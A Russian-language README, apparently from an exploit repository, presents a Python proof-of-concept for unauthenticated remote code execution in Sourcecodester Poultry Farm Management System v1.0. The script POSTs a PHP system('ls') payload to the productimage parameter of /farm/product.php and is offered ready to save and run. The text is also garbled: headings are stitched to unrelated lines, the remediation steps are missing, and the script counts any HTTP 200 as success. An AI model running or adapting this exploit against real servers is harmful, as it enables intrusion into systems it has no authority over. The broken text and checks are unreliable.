
Скрипт Proof-of-concept, демонстрирующий удаленное выполнение кода без аутентификации в Sourcecodester Poultry Farm Management System через уязвимый параметр productimage.
Этот репозиторий содержит скрипт Proof of Concept (PoC), демонстрирующий уязвимость неавторизованного удаленного выполнения кода (RCE) в Sourcecodester Poultry Farm Management System v1.0. Уязвимость существует в параметре productimage по адресу /farm/product.php, что позволяет злоумышленнику выполнять произвольный код на сервере.
CVE-ID: (Ожидается)
Обзор:
Sourcecodester Poultry Farm Management System v1.0 содержит уязвимость неавторизованного удаленного выполнения кода (RCE) через параметр productimage по адресу /farm/product.php. Эта уязвимость позволяет злоумышленнику выполнять произвольный код на сервере без аутентификации.
Затронутая версия:
requests (pip install requests)Этот скрипт демонстрирует, как злоумышленник может использовать уязвимость RCE, отправляя вредоносный запрос на уязвимый параметр.
Сохраните следующий скрипт как rce_poc.py и запустите его.
import requests
# Configuration
target_url = "http://target-url/farm/product.php" # Change this to the target URL
# Malicious payload
# The payload should be a command that the server can execute, e.g., 'ls' to list directory contents
# Here, we are using a simple PHP payload to demonstrate the RCE
payload = "<?php system('ls'); ?>"
# Construct the malicious request
data = {
'productimage': payload # The vulnerable parameter
}
def exploit_rce(url, data):
"""
Exploit the RCE vulnerability by sending a malicious request to the target URL.
Args:
url (str): The target URL.
data (dict): The data to be sent in the POST request.
"""
try:
response = requests.post(url, data=data)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully executed the payload.")
else:
print("[-] Failed to execute the payload.")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Sending malicious request to: {target_url}")
exploit_rce(target_url, data)
target_url на URL уязвимого сервера /farm/product.php.productimage.exploit_rce() отправляет вредоносный запрос на целевой URL и выводит детали ответа.Для устранения этой уязвимости примените следующие шаги:
Следуя этим мерам по устранению и лучшим практикам безопасности, вы сможете предотвратить такие уязвимости, как эта проблема RCE в Sourcecodester Poultry Farm Management System v1.0.